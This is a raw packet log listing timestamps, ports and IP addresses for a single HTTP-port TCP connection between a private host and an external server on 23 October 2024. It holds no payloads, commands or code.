Oct 23, 2024 15:48:23.743248940 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743266106 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743268013 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.743280888 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743295908 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743304014 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.743351936 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743374109 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743386030 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.743388891 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743403912 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743408918 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.743422985 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743434906 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.743441105 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743457079 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743470907 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743477106 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.743486881 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743500948 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.743501902 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743518114 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743532896 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743546963 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743549109 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.743562937 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743575096 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.743577003 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743588924 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.743594885 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743608952 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743626118 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743639946 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.743640900 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743657112 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743664980 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.743673086 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743688107 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743689060 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.743702888 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743716955 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743731022 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.743731976 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743746996 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743753910 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.743762970 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743779898 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743782043 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.743794918 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743809938 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743824005 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.743825912 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743840933 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743848085 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.743858099 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743874073 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743877888 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.743890047 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743902922 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.743906021 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743922949 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743938923 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743942022 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.743956089 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743969917 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.743969917 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.743987083 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744000912 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744015932 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744019985 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.744029999 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744040012 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.744046926 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744064093 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744066000 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.744079113 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744095087 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744107008 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.744110107 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744124889 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744131088 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.744139910 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744155884 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744158030 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.744170904 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744184017 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.744187117 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744201899 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744214058 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.744218111 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744232893 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744247913 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744261980 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744262934 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.744277954 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744287014 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.744292974 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744313002 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.744319916 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744333982 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744349003 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744352102 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.744364977 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744378090 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.744379044 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744395971 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744410038 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744424105 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744426966 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.744440079 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744452000 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.744455099 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744467020 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.744471073 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744488001 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744498014 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.744502068 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744518042 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744530916 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744545937 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744549036 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.744561911 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744573116 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.744576931 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744591951 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744592905 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.744607925 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744623899 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744626045 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.744640112 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744654894 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.744654894 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744669914 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744683981 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744699001 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744699955 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.744714022 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744726896 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.744729996 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744740009 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.744745970 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744764090 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744776964 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744792938 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744795084 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.744808912 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744818926 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.744823933 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744839907 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.744843960 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.744869947 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.746270895 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.746298075 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.746314049 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.746330023 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.746345997 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.746349096 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.746362925 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.746378899 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.746381998 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.746387959 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.746402979 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.746418953 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.746419907 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.746437073 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.746454000 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.746460915 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.746469975 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.746484995 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.746500969 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.746505022 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.746527910 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.747631073 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.748574972 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.797447920 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.797472000 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.797489882 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.797527075 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.797568083 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.851721048 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.851775885 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.851830959 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.851844072 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.851878881 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.851932049 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.851938009 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.851964951 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.852000952 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.852027893 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.852035046 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.852071047 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.852098942 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.852104902 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.852138996 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.852158070 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.852180958 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.852215052 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.852245092 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.852263927 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.852277994 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.852298021 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.852313995 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.852365017 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.852399111 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.852417946 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.852433920 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.852457047 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.852484941 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.852514982 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.852564096 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.852564096 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.852600098 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.852616072 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.852632999 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.852669001 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.852701902 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.852719069 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.852736950 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.852768898 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.852777958 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.852803946 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.852837086 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.852870941 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.852874994 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.852891922 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.852909088 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.852942944 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.852967978 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.852977991 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.853012085 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.853060007 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.853883028 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.853957891 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.853988886 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.854039907 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.854095936 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.854145050 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.854145050 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.854197979 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.854207039 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.854259014 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.854314089 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.854332924 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.854368925 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.854419947 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.854468107 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.854490995 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.854510069 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.854521036 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.854556084 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.854589939 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.854640007 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.854640961 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.854675055 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.854707956 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.854708910 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.854747057 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.854772091 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.854779959 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.854815006 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.854846954 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.854863882 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.854881048 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.854896069 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.854913950 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.854967117 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.855000019 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.855016947 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.855046034 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.855051994 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.855087042 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.855137110 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.855169058 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.855189085 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.855212927 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.855221033 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.855254889 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.855307102 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.855357885 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.855360985 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.855411053 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.855411053 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.855446100 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.855482101 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.855530977 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.855535030 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.855564117 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.855581045 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.855597973 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.855705023 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.855755091 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.855762005 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.855791092 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.855806112 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.855825901 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.855859995 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.855892897 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.855926991 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.855942011 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.855959892 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.855959892 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.855994940 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.856028080 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.856050014 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.856064081 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.856096983 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.856106997 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.856131077 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.856163979 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.856184006 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.856198072 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.856231928 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.856235027 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.856271029 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.856295109 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.856306076 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.856358051 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.856390953 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.856412888 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.856440067 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.856443882 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.856489897 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.856523991 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.856551886 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.856581926 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.856586933 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.856604099 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.856621981 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.856656075 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.856688976 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.856709003 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:23.856722116 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:23.856753111 CEST	49713	80	192.168.2.5	185.215.113.16
